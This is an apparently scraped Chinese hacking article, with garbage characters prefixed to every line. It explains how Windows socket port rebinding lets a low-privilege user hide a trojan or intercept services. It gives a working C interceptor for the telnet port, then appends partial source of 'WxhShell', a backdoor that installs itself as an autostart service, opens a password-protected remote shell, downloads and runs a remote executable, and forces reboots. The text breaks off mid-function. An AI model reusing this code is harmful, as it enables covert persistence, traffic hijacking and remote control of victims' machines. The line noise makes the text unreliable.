在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
\%=\_"^? s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
|Y"q. n77 5b3Wt7 saddr.sin_family = AF_INET;
<~t38|Ff@
H1rge< saddr.sin_addr.s_addr = htonl(INADDR_ANY);
z$oA6qB) z:bxnM2\ bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
<",4O 4m$n Vv 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
[ jve
|-v= w-};\]I 这意味着什么?意味着可以进行如下的攻击:
YvE$fX= +I#4+0f 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
:
m$cnq~h X|t?{.p 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
q.FgX &Eg>[gAIlp 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
n|IdEgD$ ~"!F& 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
9+U%k(9 0[TZ$<v" 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
lZZ4 O( 7$WO@yOsh 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
!=--pb GM|gm-t<@ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
gBUtv|(@>[ o!^':mll #include
Lgpj<H[ #include
G^!20`p: #include
]R\k@a|G #include
L)&?$V DWORD WINAPI ClientThread(LPVOID lpParam);
6tB- int main()
z6S
N {
E.Xfb"] WORD wVersionRequested;
EC$wi|i DWORD ret;
p}_bu@;.Z WSADATA wsaData;
{^>m3 BOOL val;
ZdeRLX SOCKADDR_IN saddr;
j':Ybr>BR SOCKADDR_IN scaddr;
)Xg,;^ int err;
H>_ FCV8 SOCKET s;
p{xO+Nx1a SOCKET sc;
*,{. oO9# int caddsize;
;H/*%2 HANDLE mt;
RN238]K DWORD tid;
&^FCp'J- wVersionRequested = MAKEWORD( 2, 2 );
iq-n(Rfw~ err = WSAStartup( wVersionRequested, &wsaData );
% ribxgmd if ( err != 0 ) {
, fFB.q"
printf("error!WSAStartup failed!\n");
hc2[,Hju{O return -1;
%YG ~ql }
_$PZID saddr.sin_family = AF_INET;
~ ?m'; 'm}K$h(U //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
Brr{iBz*" &F9BaJ saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
]24aK_Uu saddr.sin_port = htons(23);
zM"OateA if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
VI0^Zq!6R {
|4aV~n[># printf("error!socket failed!\n");
f!a[+^RB: return -1;
Q
,30 }
SdBv?`u|g val = TRUE;
D oX!P|* //SO_REUSEADDR选项就是可以实现端口重绑定的
&0SX*KyI if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
A#M#JI-Y {
p#hs8xz printf("error!setsockopt failed!\n");
DxR__ return -1;
&!]$# }
^qs=fF //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
)a.Y$![ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
K#H}=Y A //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
:&}(?=<R}L 7SLJLn3d if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
/9 NQ u {
I8@NQ=UV0 ret=GetLastError();
{[hH:
\ printf("error!bind failed!\n");
*Uie{^p? return -1;
8PB(<|}u }
_'0HkT{I listen(s,2);
z(d@!Cd while(1)
>J^bs &j {
,$EM3 caddsize = sizeof(scaddr);
>[B}eS> //接受连接请求
ZQ9!k*
^ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
K)~ m{ if(sc!=INVALID_SOCKET)
vBx*bZ {
Ke '? mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
rCi7q]_ if(mt==NULL)
[H)NkR;I {
8M*[RlUJB printf("Thread Creat Failed!\n");
Q(
.d!CQ> break;
J*$u }
CdgZq\ }
1OK,r` CloseHandle(mt);
<DP_`[+C }
EGL1[7It` closesocket(s);
ojU:RRr4l$ WSACleanup();
/2pf*\u return 0;
E</UmM+ R }
(m80isl DWORD WINAPI ClientThread(LPVOID lpParam)
y`wTw/5N {
>;kCcfS3ct SOCKET ss = (SOCKET)lpParam;
L ?g|: SOCKET sc;
h
92\1, unsigned char buf[4096];
W.TZU'% SOCKADDR_IN saddr;
87P{vf# long num;
[~9rp]< DWORD val;
'#gd19# DWORD ret;
]C_g:|q //如果是隐藏端口应用的话,可以在此处加一些判断
#7I,.DUy[ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
7yo/sb9h saddr.sin_family = AF_INET;
X5 UcemO saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
B?9K! c saddr.sin_port = htons(23);
9~98v;Z1 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
#D M%_HXDi {
{Ak{
ct\t printf("error!socket failed!\n");
&S}%)g%Iv9 return -1;
n0g,r/ }
H_KE^1 val = 100;
R}njFQvS) if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
Qg;A (\z {
O^ZOc0< ret = GetLastError();
4of3#M return -1;
Ac;rMwXk# }
qOYCQ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
rStfluPL {
vKN"o* q ret = GetLastError();
3-#|6khqt return -1;
O9*cV3}H }
ss63/ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
O4@sN=o {
E;$)Oz printf("error!socket connect failed!\n");
>y)(M(o closesocket(sc);
Ug02G closesocket(ss);
e\x=4i return -1;
<6^MVaD }
{WUW.(^]G while(1)
N p9N#m? {
>FED*C4 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
?#?[6t //如果是嗅探内容的话,可以再此处进行内容分析和记录
ks|[`FH //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
BqC, -gC num = recv(ss,buf,4096,0);
S6CM/ if(num>0)
#TZf\0\! send(sc,buf,num,0);
maQE Bi, else if(num==0)
>yFEUD: break;
6z
v+Av: num = recv(sc,buf,4096,0);
H|_^T.n?E if(num>0)
^{&Vv(~!Q send(ss,buf,num,0);
H?98^y7 else if(num==0)
Xr\|U89P break;
1;cV [&3 }
le*mr0a closesocket(ss);
sW!pMkd_ closesocket(sc);
4q#6.E;yy return 0 ;
)R$+dPu> }
7uG@hL36 _"n1"%Ns $O" S*)9 ==========================================================
$G/h-6+8 c#sPM!! 下边附上一个代码,,WXhSHELL
{wMw$Fvf y;A<R[|Ve ==========================================================
WmU4~. (+7gS_c #include "stdafx.h"
|S48xsFvq eUlF4l<] #include <stdio.h>
02E-|p; #include <string.h>
"&?F6Pi #include <windows.h>
3Tze`Q 9 #include <winsock2.h>
l'=H,8LfA #include <winsvc.h>
, f9V`Pz) #include <urlmon.h>
h-
.V[]< 3qOq:ZkQ #pragma comment (lib, "Ws2_32.lib")
bOjvrg;Sz\ #pragma comment (lib, "urlmon.lib")
Poy ]5:.
o`S| #define MAX_USER 100 // 最大客户端连接数
UwOZBF< #define BUF_SOCK 200 // sock buffer
)&:4//}a #define KEY_BUFF 255 // 输入 buffer
=H6"\`W p\I,P2on #define REBOOT 0 // 重启
%7=B?c| #define SHUTDOWN 1 // 关机
:e> y=
s> *(6vO{ #define DEF_PORT 5000 // 监听端口
tdSy&]P H_)\:gTG #define REG_LEN 16 // 注册表键长度
Nq'Cuwsp #define SVC_LEN 80 // NT服务名长度
D QO~<E6c )W9W8>Cc5_ // 从dll定义API
~_ss[\N typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
USfpCRj9 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
MMg"G6? typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
[of{~ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
\Z9+U:n GJz d4kj // wxhshell配置信息
[uCW8:e struct WSCFG {
O="#yE) int ws_port; // 监听端口
E!<w t char ws_passstr[REG_LEN]; // 口令
qN((Xz+AZE int ws_autoins; // 安装标记, 1=yes 0=no
.),ql_sXr char ws_regname[REG_LEN]; // 注册表键名
19-|.9m( char ws_svcname[REG_LEN]; // 服务名
(|%YyRaX char ws_svcdisp[SVC_LEN]; // 服务显示名
=Q|_v} char ws_svcdesc[SVC_LEN]; // 服务描述信息
u&Q2/Y char ws_passmsg[SVC_LEN]; // 密码输入提示信息
L rV`P)$T int ws_downexe; // 下载执行标记, 1=yes 0=no
_mVq9nBEf char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
~EJVlji char ws_filenam[SVC_LEN]; // 下载后保存的文件名
ufF$7@(+ OZ 4uk.) };
xG sg' -o c@$*t // default Wxhshell configuration
'>dsROB-> struct WSCFG wscfg={DEF_PORT,
S*;8z}5<\ "xuhuanlingzhe",
fwaq 1,
!f5I.r~ "Wxhshell",
ozN#LIM>P "Wxhshell",
R2{ y1b$l "WxhShell Service",
*Pj[r "Wrsky Windows CmdShell Service",
F<SMU4]YdG "Please Input Your Password: ",
d|5V"U]W; 1,
j8WMGSrrF "
http://www.wrsky.com/wxhshell.exe",
! bbVa/ "Wxhshell.exe"
xo{3r\u?} };
USF&; M3 2{^k*Cfd // 消息定义模块
I4'mU$)U char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
N8a+X|3]0 char *msg_ws_prompt="\n\r? for help\n\r#>";
p6~\U5rXm char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
Yw7+wc8R char *msg_ws_ext="\n\rExit.";
^Wb|Pl char *msg_ws_end="\n\rQuit.";
0<f\bY02 char *msg_ws_boot="\n\rReboot...";
A0{ !m char *msg_ws_poff="\n\rShutdown...";
Hq9yu*!u char *msg_ws_down="\n\rSave to ";
;xF5P'T?| ~=HrD?-99p char *msg_ws_err="\n\rErr!";
4+&4 char *msg_ws_ok="\n\rOK!";
Q/[|/uNw? <P&~k\BuF{ char ExeFile[MAX_PATH];
H9nVtS{x int nUser = 0;
9W{`$30 HANDLE handles[MAX_USER];
LASR* int OsIsNt;
.)Xyzd Vk%[N> SERVICE_STATUS serviceStatus;
I|jGu9G SERVICE_STATUS_HANDLE hServiceStatusHandle;
g+>$_s ]pUf[^4 // 函数声明
,>(/}=Z. int Install(void);
i}SJ int Uninstall(void);
DY2r6bcn` int DownloadFile(char *sURL, SOCKET wsh);
E?%SOU< int Boot(int flag);
.xJW=G{/ void HideProc(void);
951"0S`Lo int GetOsVer(void);
cRYnQ{$' int Wxhshell(SOCKET wsl);
AIZs^
`_ void TalkWithClient(void *cs);
Q}ebw int CmdShell(SOCKET sock);
ul0]\(sS: int StartFromService(void);
",wv*z)_> int StartWxhshell(LPSTR lpCmdLine);
OO)m{5r,{ E.*TJ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
6zuWG0t VOID WINAPI NTServiceHandler( DWORD fdwControl );
E/x2LYH #H9J/k_ // 数据结构和表定义
!63>I I SERVICE_TABLE_ENTRY DispatchTable[] =
vrVb/hhG {
Wjf UbKg0 {wscfg.ws_svcname, NTServiceMain},
ut26sg{s( {NULL, NULL}
Gao8!OaQ };
q2Xm~uN`) a/d'(] // 自我安装
_86pbr9 int Install(void)
,S"a ,}8 {
5Fh?YS = char svExeFile[MAX_PATH];
a<AT;Tc HKEY key;
o$dnp`E strcpy(svExeFile,ExeFile);
Nb.AsIR^ 5?-cP?|.9 // 如果是win9x系统,修改注册表设为自启动
zY?GO"U" if(!OsIsNt) {
W)WL1@!Z if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
cEkf9:_La RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
qs\O(K8 RegCloseKey(key);
EW;R^?Z if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
a.P7O!2Lp RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
}T<[JXh=J RegCloseKey(key);
5Ym/'eT return 0;
__x2xtrH }
=HJ)!( }
tqI]S
X }
V&7jd7
2{ else {
5AmYrXZ h\+U+?u // 如果是NT以上系统,安装为系统服务
oK cgP SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
l2>ka~ if (schSCManager!=0)
R@lmX%Z1 {
4VtI8f! SC_HANDLE schService = CreateService
UhQsT^b_ (
{(mT,}`4 schSCManager,
bs-O3w wscfg.ws_svcname,
.j*muDVQn wscfg.ws_svcdisp,
}9n{E-bj * SERVICE_ALL_ACCESS,
ex_Zw+n SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
F8e]sa$K\ SERVICE_AUTO_START,
t__UqCq~h SERVICE_ERROR_NORMAL,
nC Mv&{~
svExeFile,
c.5?Q>!+ NULL,
q}-q[p?
5 NULL,
bMT1(edm NULL,
Jt4&%b-T NULL,
EdQ:8h NULL
nAc02lJh| );
7^Y "K if (schService!=0)
3+6s}u) {
,TrrqCw> CloseServiceHandle(schService);
dP8b\H CloseServiceHandle(schSCManager);
weMC9T)B strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
~*-(_<FH strcat(svExeFile,wscfg.ws_svcname);
c^^[~YWj if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
:W'Yt9v) RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
J23Tst#s RegCloseKey(key);
j$l[OZ:# return 0;
1r6>.&p }
>Mml+4<5 }
fhx_v^<X CloseServiceHandle(schSCManager);
?L=@Zs }
bLMN9wGOgK }
YGp8./ma<I {J`Zl1_q return 1;
wwnl_9a }
Wj2s+L7, $N$
ZJC6(@ // 自我卸载
I@dS/ int Uninstall(void)
sSVgDQ~q {
yya"*]*S HKEY key;
}UwDHq= @4h{# if(!OsIsNt) {
9b`J2_ ]k if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
U=_O*n?N-d RegDeleteValue(key,wscfg.ws_regname);
XA`<*QC< RegCloseKey(key);
.PyPU]w if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
FI@!7@ RegDeleteValue(key,wscfg.ws_regname);
@^47Qgj8U RegCloseKey(key);
v-`RX;8 return 0;
*b+ef }
Kk?P89=* }
S{cy|QD }
c(@V
t&gE else {
N(<4nAE ElNKCj<M SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
Xo[={2_ if (schSCManager!=0)
Ktrqrl^IJ {
fp^!?u SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
ve|:z if (schService!=0)
${"+bWG2G! {
8BnI0l=\ if(DeleteService(schService)!=0) {
jkd'2 CloseServiceHandle(schService);
3Qt-%=b& CloseServiceHandle(schSCManager);
v=4,kG return 0;
aa!o::; }
P;R`22\3 CloseServiceHandle(schService);
_8$arjx= }
Sp+ zP-3 CloseServiceHandle(schSCManager);
;q:.&dak1 }
2BA'Zu` }
{Lj]++`fB] k@1\ULo return 1;
NFT&\6!o }
M1><K: \(9hg.E // 从指定url下载文件
|KR;$e& int DownloadFile(char *sURL, SOCKET wsh)
#K1VPezN {
v]CH
L#
| HRESULT hr;
c8qsp n char seps[]= "/";
p|Po##E}g^ char *token;
[d="94Ab char *file;
t!MGSB~ char myURL[MAX_PATH];
}:UNL^e? char myFILE[MAX_PATH];
> %5<fK2
+o]DT7W strcpy(myURL,sURL);
-3
.Sr|t token=strtok(myURL,seps);
-e H5s3:A while(token!=NULL)
\W5fcxf {
.Y}~2n file=token;
*g
=ey?1S token=strtok(NULL,seps);
s)HLFdis@ }
V4]t=3> -LAYj:4 GetCurrentDirectory(MAX_PATH,myFILE);
%5|awWo_? strcat(myFILE, "\\");
5VWyc9Q strcat(myFILE, file);
Q/EHvb] send(wsh,myFILE,strlen(myFILE),0);
#'}?.m send(wsh,"...",3,0);
Zo}O,;(F5 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
.W_'6Q+ if(hr==S_OK)
KiN8N=z return 0;
i
v7^! else
ay}}v7)GM return 1;
=<ngtN x9UF }
+Tnn'^4 sem:" // 系统电源模块
y; LL^:rq int Boot(int flag)
V=%j]`Os {
&)4#0L4 HANDLE hToken;
rPf<8oH TOKEN_PRIVILEGES tkp;
JQCQpn/ *3;H6 if(OsIsNt) {
4[=vt OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
9$)I=Rpk= LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
X
wvH tkp.PrivilegeCount = 1;
S>AM? tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
#bN'N@| AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
F@</Ev if(flag==REBOOT) {
[
+w= if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
{OA2';3 return 0;
\.m"u14[b }
6M({T2e else {
`ceetr= if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
_}4l4 return 0;
@w?y;W!a> }
0E[&:6#Y }
[wHGt?R else {
8_yhV{ if(flag==REBOOT) {
=Kf]ZKj) if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
vumA W* return 0;
v#yeiE4 }
BhJag L ^o else {
-_<rmR[:] if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
-+9,RtHR7 return 0;
JL[xrK0 }
O7&